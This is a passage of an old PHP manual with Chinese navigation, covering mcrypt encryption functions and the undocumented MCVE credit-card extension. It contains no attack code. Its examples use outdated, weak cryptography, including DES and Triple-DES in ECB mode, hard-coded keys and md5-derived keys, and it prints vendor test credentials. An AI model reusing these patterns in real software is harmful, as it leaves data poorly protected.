add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_module_get_algo_block_size | 上一级 | mcrypt_module_get_supported_key_sizes


mcrypt_module_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_get_supported_key_sizes -- Returns an array with the supported keysizes of the opened algorithm

Description

array mcrypt_module_get_supported_key_sizes ( string algorithm [, string lib_dir] )

Returns an array with the key sizes supported by the specified algorithm. If it returns an empty array then all key sizes between 1 and mcrypt_module_get_algo_key_size() are supported by the algorithm. The optional lib_dir parameter can contain the location where the mode module is on the system.

See also mcrypt_enc_get_supported_key_sizes() which is used on open encryption modules.

add a note add a note User Contributed Notes
Daniel Bartlett <dan at lockedbox dot net>
12-Feb-2004 02:50
A small bit of php for listing available encryption algorythms and their keysizes.

<?php
$cipher_dir = "/usr/local/lib/libmcrypt";
$algorithms = mcrypt_list_algorithms($cipher_dir);
echo "<html><head></head><body><table><tr>\n";
foreach ($algorithms as $cipher) {
       echo "<td>" . $cipher . "</td><td>";
       $ksizes = mcrypt_module_get_supported_key_sizes($cipher, $cipher_dir);
       if($ksizes==NULL) echo mcrypt_module_get_algo_key_size($cipher, $cipher_dir);
       else foreach ($ksizes as $size) {
               echo $size . " ";
       }
       echo "</td></tr>\n";
}
echo "</table></body></html>\n";
?>

I hope some one finds it handy.
add a note add a note

后退 | 起点 | 前进
mcrypt_module_get_algo_key_size | 上一级 | mcrypt_module_is_block_algorithm_mode


mcrypt_module_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_algorithm_mode -- Returns if the specified module is a block algorithm or not

Description

bool mcrypt_module_is_block_algorithm_mode ( string mode [, string lib_dir] )

This function returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE. (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb). The optional lib_dir parameter can contain the location where the mode module is on the system.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_module_get_supported_key_sizes | 上一级 | mcrypt_module_is_block_algorithm


mcrypt_module_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_algorithm -- This function checks whether the specified algorithm is a block algorithm

Description

bool mcrypt_module_is_block_algorithm ( string algorithm [, string lib_dir] )

This function returns TRUE if the specified algorithm is a block algorithm, or FALSE is it is a stream algorithm. The optional lib_dir parameter can contain the location where the algorithm module is on the system.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_module_is_block_algorithm_mode | 上一级 | mcrypt_module_is_block_mode


mcrypt_module_is_block_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_is_block_mode -- Returns if the specified mode outputs blocks or not

Description

bool mcrypt_module_is_block_mode ( string mode [, string lib_dir] )

This function returns TRUE if the mode outputs blocks of bytes or FALSE if it outputs just bytes. (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream). The optional lib_dir parameter can contain the location where the mode module is on the system.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_module_is_block_algorithm | 上一级 | mcrypt_module_open


mcrypt_module_open

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_open -- Opens the module of the algorithm and the mode to be used

Description

resource mcrypt_module_open ( string algorithm, string algorithm_directory, string mode, string mode_directory )

This function opens the module of the algorithm and the mode to be used. The name of the algorithm is specified in algorithm, e.g. "twofish" or is one of the MCRYPT_ciphername constants. The module is closed by calling mcrypt_module_close(). Normally it returns an encryption descriptor, or FALSE on error.

The algorithm_directory and mode_directory are used to locate the encryption modules. When you supply a directory name, it is used. When you set one of these to the empty string (""), the value set by the mcrypt.algorithms_dir or mcrypt.modes_dir ini-directive is used. When these are not set, the default directories that are used are the ones that were compiled in into libmcrypt (usually /usr/local/lib/libmcrypt).

例子 1. mcrypt_module_open() examples

<?php
    $td = mcrypt_module_open(MCRYPT_DES, '',
        MCRYPT_MODE_ECB, '/usr/lib/mcrypt-modes');

    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');
?>

The first line in the example above will try to open the DES cipher from the default directory and the EBC mode from the directory /usr/lib/mcrypt-modes. The second example uses strings as name for the cipher and mode, this only works when the extension is linked against libmcrypt 2.4.x or 2.5.x.

例子 2. Using mcrypt_module_open() in encryption

<?php
    /* Open the cipher */
    $td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

    /* Create the IV and determine the keysize length, used MCRYPT_RAND
     * on Windows instead */
    $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
    $ks = mcrypt_enc_get_key_size($td);

    /* Create key */
    $key = substr(md5('very secret key'), 0, $ks);

    /* Intialize encryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Encrypt data */
    $encrypted = mcrypt_generic($td, 'This is very important data');

    /* Terminate encryption handler */
    mcrypt_generic_deinit($td);

    /* Initialize encryption module for decryption */
    mcrypt_generic_init($td, $key, $iv);

    /* Decrypt encrypted string */
    $decrypted = mdecrypt_generic($td, $encrypted);

    /* Terminate decryption handle and close module */
    mcrypt_generic_deinit($td);
    mcrypt_module_close($td);

    /* Show string */
    echo trim($decrypted) . "\n";
?>

The first line in the example above will try to open the DES cipher from the default directory and the EBC mode from the directory /usr/lib/mcrypt-modes. The second example uses strings as name for the cipher and mode, this only works when the extension is linked against libmcrypt 2.4.x or 2.5.x.

See also
mcrypt_module_close(),
mcrypt_generic(),
mdecrypt_generic(),
mcrypt_generic_init(), and
mcrypt_generic_deinit().

add a note add a note User Contributed Notes
Mon
03-Mar-2006 07:27
In the text example:

$key = substr(md5('very secret key'), 0, $ks);

Builds a key of $ks/2 effective bytes.
01-Aug-2003 11:14
Doing a trim($decrypted) will remove the null padding that may occur as a result of decryption.

The problem is if you're encrypting something like a MSWord document which can commonly end with nulls. The result $decrypted will be smaller than the original cleartext - which will then fail to open in MSOffice.

To get around this, make sure you store the length of the original cleartext, and when you decrypt it, do:

$decrypted = substr(mdecrypt_generic($td, $encrypted), 0, $originalLength);
add a note add a note

后退 | 起点 | 前进
mcrypt_module_is_block_mode | 上一级 | mcrypt_module_self_test


mcrypt_module_self_test

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_module_self_test -- This function runs a self test on the specified module

Description

bool mcrypt_module_self_test ( string algorithm [, string lib_dir] )

This function runs the self test on the algorithm specified. The optional lib_dir parameter can contain the location of where the algorithm module is on the system.

The function returns TRUE if the self test succeeds, or FALSE when if fails.

例子 1. mcrypt_module_self_test() example

<?php
var_dump(mcrypt_module_self_test(MCRYPT_RIJNDAEL_128)) . "\n";
var_dump(mcrypt_module_self_test(MCRYPT_BOGUS_CYPHER));
?>

上例将输出：

bool(true)
bool(false)

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_module_open | 上一级 | mcrypt_ofb


mcrypt_ofb

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

mcrypt_ofb -- Encrypt/decrypt data in OFB mode

Description

string mcrypt_ofb ( int cipher, string key, string data, int mode, string iv )

string mcrypt_ofb ( string cipher, string key, string data, int mode [, string iv] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcrypt_module_self_test | 上一级 | mdecrypt_generic


mdecrypt_generic

(PHP 4 >= 4.0.2, PHP 5)

mdecrypt_generic -- Decrypt data

Description

string mdecrypt_generic ( resource td, string data )

This function decrypts data. Note that the length of the returned string can in fact be longer then the unencrypted string, due to the padding of the data.

例子 1. mdecrypt_generic() example

<?php
    /* Data */
    $key = 'this is a very long key, even too long for the cipher';
    $plain_text = 'very important data';

    /* Open module, and create IV */
    $td = mcrypt_module_open('des', '', 'ecb', '');
    $key = substr($key, 0, mcrypt_enc_get_key_size($td));
    $iv_size = mcrypt_enc_get_iv_size($td);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    /* Initialize encryption handle */
    if (mcrypt_generic_init($td, $key, $iv) != -1) {

        /* Encrypt data */
        $c_t = mcrypt_generic($td, $plain_text);
        mcrypt_generic_deinit($td);

        /* Reinitialize buffers for decryption */
        mcrypt_generic_init($td, $key, $iv);
        $p_t = mdecrypt_generic($td, $c_t);

        /* Clean up */
        mcrypt_generic_deinit($td);
        mcrypt_module_close($td);
    }

    if (strncmp($p_t, $plain_text, strlen($plain_text)) == 0) {
        echo "ok\n";
    } else {
        echo "error\n";
    }
?>

The above example shows how to check if the data before the encryption is the same as the data after the decryption. It is very important to reinitialize the encryption buffer with mcrypt_generic_init() before you try to decrypt the data.

The decryption handle should always be initialized with mcrypt_generic_init() with a key and an IV before calling this function. Where the encryption is done, you should free the encryption buffers by calling mcrypt_generic_deinit(). See mcrypt_module_open() for an example.

See also mcrypt_generic(),
mcrypt_generic_init(), and
mcrypt_generic_deinit().

add a note add a note User Contributed Notes
drew at expressdynamics dot com
06-Jul-2005 01:07
On Win32 systems with PHP 5, you must use the newer libmcrypt.dll file, otherwise mdecrypt_generic will not work.
robbie [at] averill [dot] co [dot] nz
24-Mar-2005 07:15
I have noticed that sometimes when the binary ciphertext is longer than the plaintext, the decrypted plaintext can have some little boxes/squares next to it as 'padding'. I also noticed that you can't cut and paste them to be able to edit them out, but i did find a solution.

Just call rtrim() around the string and it removes them.
jon@jonroig dot com
08-Apr-2004 10:29
Here's a bit of encrypt/decrypt code.

If you're using this on the win32 platform, BEWARE! The latest DLL (19-Jan-2004) contains a bug that keeps mdecrypt_generic from functioning. Nearly drove me over the edge... The 30-Dec-2002 version seems to work with no trouble.
<?

$key = "this is a secret key";
$input = "Let us meet at 9 o'clock at the secret place.";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, $input);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

echo "Encrypt: ".$encrypted_data;

echo "<br><br>";

$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
$key = substr($key, 0, mcrypt_enc_get_key_size($td));
mcrypt_generic_init($td, $key, $iv);
$decrypted_data = mdecrypt_generic($td, $encrypted_data);
echo "Decrypt: ".$decrypted_data;
mcrypt_generic_deinit($td);
mcrypt_module_close($td);

?>
add a note add a note

后退 | 起点 | 前进
mcrypt_ofb | 上一级 | MCVE Payment Functions


MCVE Payment Functions

PHP 手册
后退 前进

LXXI. MCVE Payment Functions

简介

These functions interface the MCVE API (libmcve), allowing you to work directly with MCVE from your PHP scripts. MCVE is Main Street Softworks' solution to direct credit card processing for Linux / Unix ( http://www.mainstreetsoftworks.com/ ). It lets you directly address the credit card clearing houses via your *nix box, modem and/or internet connection (bypassing the need for an additional service such as Authorize.Net or Pay Flow Pro). Using the MCVE module for PHP, you can process credit cards directly through MCVE via your PHP scripts. The following references will outline the process.

注: MCVE is the replacement for RedHat's CCVS. They contracted with RedHat in late 2001 to migrate all existing clientele to the MCVE platform.

注: 本扩展已被移动到 PECL 库中且自以下版本起不再被绑定到 PHP 中：5.1.0.

注: 本扩展模块在 Windows 平台下不可用。

安装

To enable MCVE Support in PHP, first verify your LibMCVE installation directory. You will then need to configure PHP with the --with-mcve option. If you use this option without specifying the path to your MCVE installation, PHP will attempt to look in the default LibMCVE Install location (/usr/local). If MCVE is in a non-standard location, run configure with: --with-mcve=$mcve_path, where $mcve_path is the path to your MCVE installation. Please note that MCVE support requires that $mcve_path/lib and $mcve_path/include exist, and include mcve.h under the include directory and libmcve.so and/or libmcve.a under the lib directory.

Since MCVE has true server/client separation, there are no additional requirements for running PHP with MCVE support. To test your MCVE extension in PHP, you may connect to testbox.mcve.com on port 8333 for IP, or port 8444 for SSL using the MCVE PHP API. Use 'vitale' for your username, and 'test' for your password. Additional information about test facilities are available at http://www.mainstreetsoftworks.com/.

参见

Additional documentation about MCVE's PHP API can be found at http://www.mainstreetsoftworks.com/docs/phpapi.pdf. Main Street's documentation is complete and should be the primary reference for functions.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

MC_TRANTYPE (integer)

MC_USERNAME (integer)

MC_PASSWORD (integer)

MC_ACCOUNT (integer)

MC_TRACKDATA (integer)

MC_EXPDATE (integer)

MC_STREET (integer)

MC_ZIP (integer)

MC_CV (integer)

MC_COMMENTS (integer)

MC_CLERKID (integer)

MC_STATIONID (integer)

MC_APPRCODE (integer)

MC_AMOUNT (integer)

MC_PTRANNUM (integer)

MC_TTID (integer)

MC_USER (integer)

MC_PWD (integer)

MC_ACCT (integer)

MC_BDATE (integer)

MC_EDATE (integer)

MC_BATCH (integer)

MC_FILE (integer)

MC_ADMIN (integer)

MC_AUDITTYPE (integer)

MC_CUSTOM (integer)

MC_EXAMOUNT (integer)

MC_EXCHARGES (integer)

MC_RATE (integer)

MC_RENTERNAME (integer)

MC_RETURNCITY (integer)

MC_RETURNSTATE (integer)

MC_RETURNLOCATION (integer)

MC_PRIORITY (integer)

MC_INQUIRY (integer)

MC_CARDTYPES (integer)

MC_SUB (integer)

MC_MARKER (integer)

MC_DEVICETYPE (integer)

MC_ERRORCODE (integer)

MC_NEWBATCH (integer)

MC_CURR (integer)

MC_DESCMERCH (integer)

MC_DESCLOC (integer)

MC_ORIGTYPE (integer)

MC_PIN (integer)

MC_VOIDORIGTYPE (integer)

MC_TIMESTAMP (integer)

MC_PRIO_HIGH (integer)

MC_PRIO_NORMAL (integer)

MC_PRIO_LOW (integer)

MC_USER_PROC (integer)

MC_USER_USER (integer)

MC_USER_PWD (integer)

MC_USER_INDCODE (integer)

MC_USER_MERCHID (integer)

MC_USER_BANKID (integer)

MC_USER_TERMID (integer)

MC_USER_CLIENTNUM (integer)

MC_USER_STOREID (integer)

MC_USER_AGENTID (integer)

MC_USER_CHAINID (integer)

MC_USER_ZIPCODE (integer)

MC_USER_TIMEZONE (integer)

MC_USER_MERCHCAT (integer)

MC_USER_MERNAME (integer)

MC_USER_MERCHLOC (integer)

MC_USER_STATECODE (integer)

MC_USER_PHONE (integer)

MC_USER_SUB (integer)

MC_USER_CARDTYPES (integer)

MC_USER_MODE (integer)

MC_USER_VNUMBER (integer)

MC_USER_ROUTINGID (integer)

MC_USER_PPROPERTY (integer)

MC_USER_PID (integer)

MC_USER_PIDPWD (integer)

MC_USER_SMID (integer)

MC_USER_SMIDPWD (integer)

MC_USER_USDDIV (integer)

MC_USER_AUDDIV (integer)

MC_USER_DKKDIV (integer)

MC_USER_GBPDIV (integer)

MC_USER_HKDDIV (integer)

MC_USER_JPYDIV (integer)

MC_USER_NZDDIV (integer)

MC_USER_NOKDIV (integer)

MC_USER_SGDDIV (integer)

MC_USER_ZARDIV (integer)

MC_USER_SEKDIV (integer)

MC_USER_CHFDIV (integer)

MC_USER_CADDIV (integer)

MC_USER_DIVNUM (integer)

MC_CARD_VISA (integer)

MC_CARD_MC (integer)

MC_CARD_AMEX (integer)

MC_CARD_DISC (integer)

MC_CARD_JCB (integer)

MC_CARD_CB (integer)

MC_CARD_DC (integer)

MC_CARD_GIFT (integer)

MC_CARD_OTHER (integer)

MC_CARD_ALL (integer)

MC_MODE_AUTH (integer)

MC_MODE_SETTLE (integer)

MC_MODE_BOTH (integer)

MC_MODE_ALL (integer)

MC_EXCHARGES_REST (integer)

MC_EXCHARGES_GIFT (integer)

MC_EXCHARGES_MINI (integer)

MC_EXCHARGES_TELE (integer)

MC_EXCHARGES_OTHER (integer)

MC_EXCHARGES_LAUND (integer)

MC_EXCHARGES_NONE (integer)

MC_EXCHARGES_GAS (integer)

MC_EXCHARGES_MILE (integer)

MC_EXCHARGES_LATE (integer)

MC_EXCHARGES_1WAY (integer)

MC_EXCHARGES_VIOL (integer)

MC_TRAN_SALE (integer)

MC_TRAN_REDEMPTION (integer)

MC_TRAN_PREAUTH (integer)

MC_TRAN_VOID (integer)

MC_TRAN_PREAUTHCOMPLETE (integer)

MC_TRAN_FORCE (integer)

MC_TRAN_OVERRIDE (integer)

MC_TRAN_RETURN (integer)

MC_TRAN_RELOAD (integer)

MC_TRAN_CREDIT (integer)

MC_TRAN_SETTLE (integer)

MC_TRAN_INCREMENTAL (integer)

MC_TRAN_REVERSAL (integer)

MC_TRAN_ACTIVATE (integer)

MC_TRAN_BALANCEINQ (integer)

MC_TRAN_CASHOUT (integer)

MC_TRAN_TOREVERSAL (integer)

MC_TRAN_SETTLERFR (integer)

MC_TRAN_ISSUE (integer)

MC_TRAN_TIP (integer)

MC_TRAN_MERCHRETURN (integer)

MC_TRAN_IVRREQ (integer)

MC_TRAN_IVRRESP (integer)

MC_TRAN_ADMIN (integer)

MC_TRAN_PING (integer)

MC_TRAN_CHKPWD (integer)

MC_TRAN_CHNGPWD (integer)

MC_TRAN_LISTSTATS (integer)

MC_TRAN_LISTUSERS (integer)

MC_TRAN_GETUSERINFO (integer)

MC_TRAN_ADDUSER (integer)

MC_TRAN_EDITUSER (integer)

MC_TRAN_DELUSER (integer)

MC_TRAN_ENABLEUSER (integer)

MC_TRAN_DISABLEUSER (integer)

MC_TRAN_IMPORT (integer)

MC_TRAN_EXPORT (integer)

MC_TRAN_ERRORLOG (integer)

MC_TRAN_CLEARERRORLOG (integer)

MC_TRAN_GETSUBACCTS (integer)

MC_ADMIN_GUT (integer)

MC_ADMIN_GL (integer)

MC_ADMIN_GFT (integer)

MC_ADMIN_BT (integer)

MC_ADMIN_UB (integer)

MC_ADMIN_QC (integer)

MC_ADMIN_RS (integer)

MC_ADMIN_CTH (integer)

MC_ADMIN_CFH (integer)

MC_ADMIN_FORCESETTLE (integer)

MC_ADMIN_SETBATCHNUM (integer)

MC_ADMIN_RENUMBERBATCH (integer)

MC_ADMIN_FIELDEDIT (integer)

MC_ADMIN_CLOSEBATCH (integer)

MCVE_UNUSED (integer)

MCVE_NEW (integer)

MCVE_PENDING (integer)

MCVE_DONE (integer)

MCVE_GOOD (integer)

MCVE_BAD (integer)

MCVE_STREET (integer)

MCVE_ZIP (integer)

MCVE_UNKNOWN (integer)

MCVE_ERROR (integer)

MCVE_FAIL (integer)

MCVE_SUCCESS (integer)

MCVE_AUTH (integer)

MCVE_DENY (integer)

MCVE_CALL (integer)

MCVE_DUPL (integer)

MCVE_PKUP (integer)

MCVE_RETRY (integer)

MCVE_SETUP (integer)

MCVE_TIMEOUT (integer)

MCVE_SALE (integer)

MCVE_PREAUTH (integer)

MCVE_FORCE (integer)

MCVE_OVERRIDE (integer)

MCVE_RETURN (integer)

MCVE_SETTLE (integer)

MCVE_PROC (integer)

MCVE_USER (integer)

MCVE_PWD (integer)

MCVE_INDCODE (integer)

MCVE_MERCHID (integer)

MCVE_BANKID (integer)

MCVE_TERMID (integer)

MCVE_CLIENTNUM (integer)

MCVE_STOREID (integer)

MCVE_AGENTID (integer)

MCVE_CHAINID (integer)

MCVE_ZIPCODE (integer)

MCVE_TIMEZONE (integer)

MCVE_MERCHCAT (integer)

MCVE_MERNAME (integer)

MCVE_MERCHLOC (integer)

MCVE_STATECODE (integer)

MCVE_SERVICEPHONE (integer)

目录
mcve_adduser -- Add an MCVE user using usersetup structure
mcve_adduserarg -- Add a value to user configuration structure
mcve_bt -- Get unsettled batch totals
mcve_checkstatus -- Check to see if a transaction has completed
mcve_chkpwd -- Verify Password
mcve_chngpwd -- Change the system administrator's password
mcve_completeauthorizations -- Number of complete authorizations in queue, returning an array of their identifiers
mcve_connect -- Establish the connection to MCVE
mcve_connectionerror -- Get a textual representation of why a connection failed
mcve_deleteresponse -- Delete specified transaction from MCVE_CONN structure
mcve_deletetrans -- Delete specified transaction from MCVE_CONN structure
mcve_deleteusersetup -- Deallocate data associated with usersetup structure
mcve_deluser -- Delete an MCVE user account
mcve_destroyconn -- Destroy the connection and MCVE_CONN structure
mcve_destroyengine -- Free memory associated with IP/SSL connectivity
mcve_disableuser -- Disable an active MCVE user account
mcve_edituser -- Edit MCVE user using usersetup structure
mcve_enableuser -- Enable an inactive MCVE user account
mcve_force -- Send a FORCE to MCVE (typically, a phone-authorization)
mcve_getcell -- Get a specific cell from a comma delimited response by column name
mcve_getcellbynum -- Get a specific cell from a comma delimited response by column number
mcve_getcommadelimited -- Get the RAW comma delimited data returned from MCVE
mcve_getheader -- Get the name of the column in a comma-delimited response
mcve_getuserarg -- Grab a value from usersetup structure
mcve_getuserparam -- Get a user response parameter
mcve_gft -- Audit MCVE for Failed transactions
mcve_gl -- Audit MCVE for settled transactions
mcve_gut -- Audit MCVE for Unsettled Transactions
mcve_initconn -- Create and initialize an MCVE_CONN structure
mcve_initengine -- Ready the client for IP/SSL Communication
mcve_initusersetup -- Initialize structure to store user data
mcve_iscommadelimited -- Checks to see if response is comma delimited
mcve_liststats -- List statistics for all users on MCVE system
mcve_listusers -- List all users on MCVE system
mcve_maxconntimeout -- The maximum amount of time the API will attempt a connection to MCVE
mcve_monitor -- Perform communication with MCVE (send/receive data) Non-blocking
mcve_numcolumns -- Number of columns returned in a comma delimited response
mcve_numrows -- Number of rows returned in a comma delimited response
mcve_override -- Send an OVERRIDE to MCVE
mcve_parsecommadelimited -- Parse the comma delimited response so mcve_getcell, etc will work
mcve_ping -- Send a ping request to MCVE
mcve_preauth -- Send a PREAUTHORIZATION to MCVE
mcve_preauthcompletion -- Complete a PREAUTHORIZATION, ready it for settlement
mcve_qc -- Audit MCVE for a list of transactions in the outgoing queue
mcve_responseparam -- Get a custom response parameter
mcve_return -- Issue a RETURN or CREDIT to MCVE
mcve_returncode -- Grab the exact return code from the transaction
mcve_returnstatus -- Check to see if the transaction was successful
mcve_sale -- Send a SALE to MCVE
mcve_setblocking -- Set blocking/non-blocking mode for connection
mcve_setdropfile -- Set the connection method to Drop-File
mcve_setip -- Set the connection method to IP
mcve_setssl_files -- Set certificate key files and certificates if server requires client certificate verification
mcve_setssl -- Set the connection method to SSL
mcve_settimeout -- Set maximum transaction time (per trans)
mcve_settle -- Issue a settlement command to do a batch deposit
mcve_text_avs -- Get a textual representation of the return_avs
mcve_text_code -- Get a textual representation of the return_code
mcve_text_cv -- Get a textual representation of the return_cv
mcve_transactionauth -- Get the authorization number returned for the transaction (alpha-numeric)
mcve_transactionavs -- Get the Address Verification return status
mcve_transactionbatch -- Get the batch number associated with the transaction
mcve_transactioncv -- Get the CVC2/CVV2/CID return status
mcve_transactionid -- Get the unique system id for the transaction
mcve_transactionitem -- Get the ITEM number in the associated batch for this transaction
mcve_transactionssent -- Check to see if outgoing buffer is clear
mcve_transactiontext -- Get verbiage (text) return from MCVE or processing institution
mcve_transinqueue -- Number of transactions in client-queue
mcve_transnew -- Start a new transaction
mcve_transparam -- Add a parameter to a transaction
mcve_transsend -- Finalize and send the transaction
mcve_ub -- Get a list of all Unsettled batches
mcve_uwait -- Wait x microsecs
mcve_verifyconnection -- Set whether or not to PING upon connect to verify connection
mcve_verifysslcert -- Set whether or not to verify the server ssl certificate
mcve_void -- VOID a transaction in the settlement queue

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mdecrypt_generic | 上一级 | mcve_adduser


mcve_adduser

(PHP 4 >= 4.2.0, PHP 5)

mcve_adduser -- Add an MCVE user using usersetup structure

Description

int mcve_adduser ( resource conn, string admin_password, int usersetup )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
MCVE Payment Functions | 上一级 | mcve_adduserarg


mcve_adduserarg

(PHP 4 >= 4.2.0, PHP 5)

mcve_adduserarg -- Add a value to user configuration structure

Description

int mcve_adduserarg ( resource usersetup, int argtype, string argval )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_adduser | 上一级 | mcve_bt


mcve_bt

(PHP 4 >= 4.2.0, PHP 5)

mcve_bt -- Get unsettled batch totals

Description

int mcve_bt ( resource conn, string username, string password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_adduserarg | 上一级 | mcve_checkstatus


mcve_checkstatus

(PHP 4 >= 4.2.0, PHP 5)

mcve_checkstatus -- Check to see if a transaction has completed

Description

int mcve_checkstatus ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_bt | 上一级 | mcve_chkpwd


mcve_chkpwd

(PHP 4 >= 4.2.0, PHP 5)

mcve_chkpwd -- Verify Password

Description

int mcve_chkpwd ( resource conn, string username, string password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_checkstatus | 上一级 | mcve_chngpwd


mcve_chngpwd

(PHP 4 >= 4.2.0, PHP 5)

mcve_chngpwd -- Change the system administrator's password

Description

int mcve_chngpwd ( resource conn, string admin_password, string new_password )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_chkpwd | 上一级 | mcve_completeauthorizations


mcve_completeauthorizations

(PHP 4 >= 4.2.0, PHP 5)

mcve_completeauthorizations -- Number of complete authorizations in queue, returning an array of their identifiers

Description

int mcve_completeauthorizations ( resource conn, int &array )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_chngpwd | 上一级 | mcve_connect


mcve_connect

(PHP 4 >= 4.2.0, PHP 5)

mcve_connect -- Establish the connection to MCVE

Description

int mcve_connect ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_completeauthorizations | 上一级 | mcve_connectionerror


mcve_connectionerror

(PHP 4 >= 4.3.0, PHP 5)

mcve_connectionerror -- Get a textual representation of why a connection failed

Description

string mcve_connectionerror ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_connect | 上一级 | mcve_deleteresponse


mcve_deleteresponse

(PHP 4 >= 4.2.0, PHP 5)

mcve_deleteresponse -- Delete specified transaction from MCVE_CONN structure

Description

bool mcve_deleteresponse ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_connectionerror | 上一级 | mcve_deletetrans


mcve_deletetrans

(PHP 4 >= 4.3.0, PHP 5)

mcve_deletetrans -- Delete specified transaction from MCVE_CONN structure

Description

bool mcve_deletetrans ( resource conn, int identifier )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_deleteresponse | 上一级 | mcve_deleteusersetup


mcve_deleteusersetup

(PHP 4 >= 4.2.0, PHP 5)

mcve_deleteusersetup -- Deallocate data associated with usersetup structure

Description

void mcve_deleteusersetup ( resource usersetup )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_deletetrans | 上一级 | mcve_deluser


mcve_deluser

(PHP 4 >= 4.2.0, PHP 5)

mcve_deluser -- Delete an MCVE user account

Description

int mcve_deluser ( resource conn, string admin_password, string username )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_deleteusersetup | 上一级 | mcve_destroyconn


mcve_destroyconn

(PHP 4 >= 4.2.0, PHP 5)

mcve_destroyconn -- Destroy the connection and MCVE_CONN structure

Description

void mcve_destroyconn ( resource conn )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_deluser | 上一级 | mcve_destroyengine


mcve_destroyengine

(PHP 4 >= 4.2.0, PHP 5)

mcve_destroyengine -- Free memory associated with IP/SSL connectivity

Description

void mcve_destroyengine ( void )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_destroyconn | 上一级 | mcve_disableuser


mcve_disableuser

(PHP 4 >= 4.2.0, PHP 5)

mcve_disableuser -- Disable an active MCVE user account

Description

int mcve_disableuser ( resource conn, string admin_password, string username )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_destroyengine | 上一级 | mcve_edituser


mcve_edituser

(PHP 4 >= 4.2.0, PHP 5)

mcve_edituser -- Edit MCVE user using usersetup structure

Description

int mcve_edituser ( resource conn, string admin_password, int usersetup )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_disableuser | 上一级 | mcve_enableuser


mcve_enableuser

(PHP 4 >= 4.2.0, PHP 5)

mcve_enableuser -- Enable an inactive MCVE user account

Description

int mcve_enableuser ( resource conn, string admin_password, string username )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mcve_edituser | 上一级 | mcve_force


mcve_force

(PHP 4 >= 4.2.0, PHP 5)

mcve_force -- Send a FORCE to MCVE (typically, a phone-authorization)

Description

